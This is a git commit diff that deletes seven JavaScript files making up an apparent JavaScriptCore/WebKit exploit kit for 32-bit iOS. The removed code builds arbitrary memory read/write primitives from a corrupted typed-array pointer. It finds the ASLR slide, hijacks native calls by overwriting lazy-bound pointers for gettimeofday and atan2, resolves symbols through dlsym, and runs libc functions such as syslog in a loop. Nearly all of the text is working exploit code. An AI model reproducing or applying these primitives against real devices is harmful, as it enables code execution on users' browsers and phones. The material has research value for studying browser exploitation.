diff options
| author | spv420 <unomilliono@gmail.com> | 2022-04-23 18:22:31 -0400 |
|---|---|---|
| committer | spv420 <unomilliono@gmail.com> | 2022-04-23 18:22:31 -0400 |
| commit | 245a3831d7266913b0281bfa19058b59ac80818b (patch) | |
| tree | d20043b79a8df535a7df9b1d19c249e6ebd2d5a1 /js | |
| parent | 8526f9689b7bbeb09a14fbd159ef6d1871909df4 (diff) | |
big b0i
Diffstat (limited to 'js')
| -rw-r--r-- | js/call.js | 52 | ||||
| -rw-r--r-- | js/int64.js | 169 | ||||
| -rw-r--r-- | js/libu8.js | 56 | ||||
| -rw-r--r-- | js/main.js | 58 | ||||
| -rw-r--r-- | js/mem.js | 186 | ||||
| -rw-r--r-- | js/str.js | 113 | ||||
| -rw-r--r-- | js/utils.js | 78 |
7 files changed, 0 insertions, 712 deletions
diff --git a/js/call.js b/js/call.js deleted file mode 100644 index c766b1a..0000000 --- a/js/call.js +++ /dev/null @@ -1,52 +0,0 @@ -var gettimeofday_lazy_addy = 0x34d63d3c; -var atan2_lazy_addy = 0x346afc84; -var reserve_addr = 0x1a0000; -var slide = 0x0; -var base = 0x0; -//var slid = 0x0; - -function get_dyld_shc_slide() { - return read_u32((slide << 12) + reserve_addr + 20); -} - -function call(addy) { - var dyld_shc_slide = get_dyld_shc_slide(); - var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); - write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); - var d = new Date(); - write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); -} - -function call4arg(addy, r0, r1, r2, r3) { - var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); - var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); - - arg1d = arg1.asDouble(); - arg2d = arg2.asDouble(); - - delete arg1; - delete arg2; - - var dyld_shc_slide = get_dyld_shc_slide(); - - tmp = read_u32(atan2_lazy_addy + dyld_shc_slide); - write_u32(atan2_lazy_addy + dyld_shc_slide, addy); - ret = Math.atan2(arg1d, arg2d); - write_u32(atan2_lazy_addy + dyld_shc_slide, tmp); - - delete tmp; - delete arg1d; - delete arg2d; - - return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; -} - -/* - * call with symbol - */ -function calls4arg(sym, r0, r1, r2, r3) { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); - return call4arg(addy, r0, r1, r2, r3); -} diff --git a/js/int64.js b/js/int64.js deleted file mode 100644 index 1ef5910..0000000 --- a/js/int64.js +++ /dev/null @@ -1,169 +0,0 @@ -// -// Tiny module that provides big (64bit) integers. -// -// Copyright (c) 2016 Samuel Groß -// -// Requires utils.js -// - -// Datatype to represent 64-bit integers. -// -// Internally, the integer is stored as a Uint8Array in little endian byte order. -function Int64(v) { - // The underlying byte array. - var bytes = new Uint8Array(8); - - switch (typeof v) { - case 'number': - v = '0x' + Math.floor(v).toString(16); - case 'string': - if (v.startsWith('0x')) - v = v.substr(2); - if (v.length % 2 == 1) - v = '0' + v; - - var bigEndian = unhexlify(v, 8); - bytes.set(Array.from(bigEndian).reverse()); - break; - case 'object': - if (v instanceof Int64) { - bytes.set(v.bytes()); - } else { - if (v.length != 8) - throw TypeError("Array must have excactly 8 elements."); - bytes.set(v); - } - break; - case 'undefined': - break; - default: - throw TypeError("Int64 constructor requires an argument."); - } - - // Return a double whith the same underlying bit representation. - this.asDouble = function() { - // Check for NaN - if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) - throw new RangeError("Integer can not be represented by a double"); - - return Struct.unpack(Struct.float64, bytes); - }; - - // Return a javascript value with the same underlying bit representation. - // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) - // due to double conversion constraints. - this.asJSValue = function() { - if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) - throw new RangeError("Integer can not be represented by a JSValue"); - - // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. - this.assignSub(this, 0x1000000000000); - var res = Struct.unpack(Struct.float64, bytes); - this.assignAdd(this, 0x1000000000000); - - return res; - }; - - // Return the underlying bytes of this number as array. - this.bytes = function() { - return Array.from(bytes); - }; - - // Return the byte at the given index. - this.byteAt = function(i) { - return bytes[i]; - }; - - // Return the value of this number as unsigned hex string. - this.toString = function() { - return '0x' + hexlify(Array.from(bytes).reverse()); - }; - - // Basic arithmetic. - // These functions assign the result of the computation to their 'this' object. - - // Decorator for Int64 instance operations. Takes care - // of converting arguments to Int64 instances if required. - function operation(f, nargs) { - return function() { - if (arguments.length != nargs) - throw Error("Not enough arguments for function " + f.name); - for (var i = 0; i < arguments.length; i++) - if (!(arguments[i] instanceof Int64)) - arguments[i] = new Int64(arguments[i]); - return f.apply(this, arguments); - }; - } - - // this = -n (two's complement) - this.assignNeg = operation(function neg(n) { - for (var i = 0; i < 8; i++) - bytes[i] = ~n.byteAt(i); - - return this.assignAdd(this, Int64.One); - }, 1); - - // this = a + b - this.assignAdd = operation(function add(a, b) { - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = a.byteAt(i) + b.byteAt(i) + carry; - carry = cur > 0xff | 0; - bytes[i] = cur; - } - return this; - }, 2); - - // this = a - b - this.assignSub = operation(function sub(a, b) { - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = a.byteAt(i) - b.byteAt(i) - carry; - carry = cur < 0 | 0; - bytes[i] = cur; - } - return this; - }, 2); - - // this = a ^ b - this.assignXor = operation(function sub(a, b) { - for (var i = 0; i < 8; i++) { - bytes[i] = a.byteAt(i) ^ b.byteAt(i); - } - return this; - }, 2); -} - -// Constructs a new Int64 instance with the same bit representation as the provided double. -Int64.fromDouble = function(d) { - var bytes = Struct.pack(Struct.float64, d); - return new Int64(bytes); -}; - -// Convenience functions. These allocate a new Int64 to hold the result. - -// Return -n (two's complement) -function Neg(n) { - return (new Int64()).assignNeg(n); -} - -// Return a + b -function Add(a, b) { - return (new Int64()).assignAdd(a, b); -} - -// Return a - b -function Sub(a, b) { - return (new Int64()).assignSub(a, b); -} - -// Return a ^ b -function Xor(a, b) { - return (new Int64()).assignXor(a, b); -} - -// Some commonly used numbers. -Int64.Zero = new Int64(0); -Int64.One = new Int64(1); - -// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/js/libu8.js b/js/libu8.js deleted file mode 100644 index b619fd8..0000000 --- a/js/libu8.js +++ /dev/null @@ -1,56 +0,0 @@ -/* - * turn a uint32_t into a little-endian 4 byte array - */ -function u32_to_u8x4(val) { - u8x4 = new Uint8Array(0x4); - - val_ = val >>> 0; - - u8x4[0] = ((val_ >> 0) & 0xff); - u8x4[1] = ((val_ >> 8) & 0xff); - u8x4[2] = ((val_ >> 16) & 0xff); - u8x4[3] = ((val_ >> 24) & 0xff); - - return u8x4; -} - -/* - * turn a uint16_t into a little-endian 2 byte array - */ -function u16_to_u8x2(val) { - u8x2 = new Uint8Array(0x2); - - val_ = val >>> 0; - - u8x2[0] = ((val_ >> 0) & 0xff); - u8x2[1] = ((val_ >> 8) & 0xff); - - return u8x2; -} - -/* - * turn a little-endian 4 byte array into a uint32_t - */ -function u8x4_to_u32(buf) { - u32 = 0x0; - - u32 += (buf[0] << 0); - u32 += (buf[1] << 8); - u32 += (buf[2] << 16); - u32 += (buf[3] << 24); - - return u32 >>> 0; -} - -/* - * turn a little-endian 2 byte array into a uint16_t - */ -function u8x2_to_u16(buf) { - u16 = 0x0; - - u16 += (buf[0] << 0); - u16 += (buf[1] << 8); - - return u16 >>> 0; - -} diff --git a/js/main.js b/js/main.js deleted file mode 100644 index dd7f1f0..0000000 --- a/js/main.js +++ /dev/null @@ -1,58 +0,0 @@ -/* - * november 24th 2021 - * [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway - * - * ohai - */ - -var MAX_SLIDE = 0x3; -var MIN_SLIDE = 0x1; - -try { - log("we out here in jsc"); -} catch (e) { - /* - * we don't have log. :( - */ - - log = function (){}; -} - -function main() { - /* - * get slide and calculate slid base - * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's - * - * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a - * random byte and shifting it 12 bits, in this case the page size, 4096 - * (0x1000) bytes), and add it to the unslid base. - */ - - slide = get_our_slide(); - base = 0x4000 + (slide << 12); - slid = (slide << 12); - - init_sptr_heap(); - - calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0); - - log("slide=0x" + slide.toString(16)); - log("*(uint8_t*)base = 0x" + read_u8(base).toString(16)); - log("*(uint16_t*)base = 0x" + read_u16(base).toString(16)); - log("*(uint32_t*)base = 0x" + read_u32(base).toString(16)); - - predicted_jsobject_addy = 0x422200; - buf = read_buf(predicted_jsobject_addy, 0x200); - - log("hexdump of predicted jsobject loc:"); - log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x")); - - var i = 0; - while (true) { - calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0); - calls4arg("sleep", 0, 0, 0, 0); - i++; - } - - log("still alive"); -}; diff --git a/js/mem.js b/js/mem.js deleted file mode 100644 index 6c30376..0000000 --- a/js/mem.js +++ /dev/null @@ -1,186 +0,0 @@ -var shit_status = 0x144444; -var global_sptr_addy = 0; -var VECTOR_OFFSET = 0x10; -var sptr_size = 0; -var sptr_len = 0; - -/* - * read uint8_t - */ -function read_u8(addy) { - u8x4 = u32_to_u8x4(addy); - - /* - * `parent` is a Uint8Array of length 0x100. - * `child` is also a Uint8Array of length 0x100. - * `parent`'s `vector`, its pointer to where its data is stored, has been - * modified to point to the `child` object in memory. - * as such, accessing `parent` will allow for modifying the `child` object. - * - * the way this is used is by writing to `child`'s `vector` so it points to - * arbitrary memory. then, we can access `child`, and we now have arbitrary - * r/w - */ - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return child[0]; -} - -/* - * read uint16_t - */ -function read_u16(addy) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return u8x2_to_u16(child); - -} - -/* - * read uint32_t - */ -function read_u32(addy) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - return u8x4_to_u32(child); -} - -/* - * read a buffer - */ -function read_buf(addy, len) { - var buf = new Uint8Array(len); - - for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { - buf[cur_addy - addy] = read_u8(cur_addy); - } - - return buf; -} - -/* - * write a buffer - */ -function write_buf(addy, buf, len) { - for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { - write_u8(cur_addy, buf[cur_addy - addy]); - } - - return buf; -} - -/* - * write uint8_t - */ -function write_u8(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - child[0] = what; -} - -/* - * write uint16_t - */ -function write_u16(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - u8x2 = u16_to_u8x2(what); - child[0] = u8x2[0]; - child[1] = u8x2[1]; -} - -/* - * write uint32_t - */ -function write_u32(addy, what) { - u8x4 = u32_to_u8x4(addy); - - parent[VECTOR_OFFSET + 0x0] = u8x4[0]; - parent[VECTOR_OFFSET + 0x1] = u8x4[1]; - parent[VECTOR_OFFSET + 0x2] = u8x4[2]; - parent[VECTOR_OFFSET + 0x3] = u8x4[3]; - - u8x4 = u32_to_u8x4(what); - child[0] = u8x4[0]; - child[1] = u8x4[1]; - child[2] = u8x4[2]; - child[3] = u8x4[3]; -} - -/* - * get process slide - */ -function get_our_slide() { - for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { - if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { - return slide; - } - } -} - -/* - * write str to addy - */ -function write_str(addy, s) { - for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { - write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); - } - - return s; -} - -function init_sptr_heap() { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - write_str(0x150000, "malloc\0"); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); - global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0); - sptr_size = 0x1000000; - sptr_len = 0; - - calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0); - - return global_sptr_addy; -} - -/* - * sptr is meant to give you a pointer to a specified string - * remember your nul's! - */ -function sptr(s) { - if ((sptr_len + s.length) >= sptr_size) { - var dlsym_addy = read_u32(reserve_addr + 24 + slid); - var shc_slide = read_u32(reserve_addr + 20 + slid); - write_str(0x150000, "realloc\0"); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); - global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); - sptr_size += 0x100000; - } - write_str(global_sptr_addy, s); - global_sptr_addy += s.length; - return global_sptr_addy - s.length; -}
\ No newline at end of file diff --git a/js/str.js b/js/str.js deleted file mode 100644 index 31621bf..0000000 --- a/js/str.js +++ /dev/null @@ -1,113 +0,0 @@ -/* - * currently unused (iirc) garbage - * basically just prints an address than the uint32_t there, and then +4, etc - */ -function prim_dump_u32(buf) { - s = ""; - - for (var i = 0; i < buf.length; i += 4) { - tmp = []; - - tmp.push(buf[i + 0]); - tmp.push(buf[i + 1]); - tmp.push(buf[i + 2]); - tmp.push(buf[i + 3]); - - s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); - s += ": "; - s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); - if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { - s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); - s += "\n"; - val = read_u32(u8x4_to_u32(tmp)); - if (val >= 0x1800000 && val < 0x1900000) { - buf = read_buf(val, 0x100); - s += (hexdump(buf, 8, 2, val, 8, "0x")); - } - } - s += "\n"; - } - - return s; -} - -/* - * pad str to n chars with c chars to the left -*/ -function pad_left(s, c, n) { - s_ = s; - - if (s_.length < n) { - s_ = c.repeat(n - s_.length) + s_; - } - - return s_; -} - -/* - * convert ASCII str to uint8array (unicode be damned) - */ -function str_to_uint8_buf(s) { - buf = new Uint8Array(s.length); - - for (i = 0; i < s.length; i++) { - buf[i] = s.charCodeAt(i); - } - - return buf; -} - -/* - * HOLY UGLY BATMAN! - */ -function hexdump(buf, cols, col_split, base, pad_base, base_prefix) { - s = ""; - if (buf.constructor != Uint8Array) { - buf = str_to_uint8_buf(buf); - } - - for (i = 0; i < buf.length; i += (cols * col_split)) { - cur_base = base + i; - s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": "; - for (j = i; j < (i + (cols * col_split)); j += col_split) { - for (k = j; k < (j + col_split); k++) { - val = buf[k]; - try { - s += pad_left(val.toString(16), "0", 2); - } catch (e) { - s += " "; - } - } - s += " "; - } - - for (j = i; j < (i + (cols * col_split)); j++) { - val = buf[j]; - - if (val < 0x20 || val >= 0x80) { - val = 0x2e; // period - } - - chr = String.fromCharCode(val); - s += chr; - } - - s += "\n"; - } - - return s; -} - -/* - * HEX SHIT - */ -function prim_hexdump(buf) { - s = ""; - - for (i = 0; i < buf.length; i++) { - val = buf[i]; - s += pad_left(val.toString(16), "0", 2); - } - - return s; -} diff --git a/js/utils.js b/js/utils.js deleted file mode 100644 index 361e71d..0000000 --- a/js/utils.js +++ /dev/null @@ -1,78 +0,0 @@ -// -// Utility functions. -// -// Copyright (c) 2016 Samuel Groß -// - -// Return the hexadecimal representation of the given byte. -function hex(b) { - return ('0' + b.toString(16)).substr(-2); -} - -// Return the hexadecimal representation of the given byte array. -function hexlify(bytes) { - var res = []; - for (var i = 0; i < bytes.length; i++) - res.push(hex(bytes[i])); - - return res.join(''); -} - -// Return the binary data represented by the given hexdecimal string. -function unhexlify(hexstr) { - if (hexstr.length % 2 == 1) - throw new TypeError("Invalid hex string"); - - var bytes = new Uint8Array(hexstr.length / 2); - for (var i = 0; i < hexstr.length; i += 2) - bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); - - return bytes; -} - -function hexdump(data) { - if (typeof data.BYTES_PER_ELEMENT !== 'undefined') - data = Array.from(data); - - var lines = []; - for (var i = 0; i < data.length; i += 16) { - var chunk = data.slice(i, i+16); - var parts = chunk.map(hex); - if (parts.length > 8) - parts.splice(8, 0, ' '); - lines.push(parts.join(' ')); - } - - return lines.join('\n'); -} - -// Simplified version of the similarly named python module. -var Struct = (function() { - // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. - var buffer = new ArrayBuffer(8); - var byteView = new Uint8Array(buffer); - var uint32View = new Uint32Array(buffer); - var float64View = new Float64Array(buffer); - - return { - pack: function(type, value) { - var view = type; // See below - view[0] = value; - return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); - }, - - unpack: function(type, bytes) { - if (bytes.length !== type.BYTES_PER_ELEMENT) - throw Error("Invalid bytearray"); - - var view = type; // See below - byteView.set(bytes); - return view[0]; - }, - - // Available types. - int8: byteView, - int32: uint32View, - float64: float64View - }; -})(); |
